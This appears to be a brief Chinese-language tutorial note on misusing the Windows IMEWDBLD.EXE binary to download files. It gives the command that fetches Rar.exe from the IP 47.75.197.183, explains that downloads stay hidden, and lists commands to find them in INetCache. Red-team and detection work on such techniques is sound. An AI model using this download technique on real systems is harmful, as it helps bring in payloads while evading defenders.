利用Imewdbld下载文件

Using Imewdbld to Download

一种下载文件的方式

image-20210305104938086

1
C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE http://47.75.197.183/ss/Rar.exe

image-20210305105008540

下载目录为

1
%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>

image-20210305105023927

下载后的文件和文件夹是隐藏的，即使开启 “打开隐藏” 也是不会在exploer里面现实的，但是可以使用命令查找路径

1
2
forfiles /P "%localappdata%\Microsoft\Windows\INetCache" /S /M * /C "cmd /c echo 
@path"

image-20210305105236738

或者

1
dir /s "%localappdata%\Microsoft\Windows\INetCache"

image-20210305105301019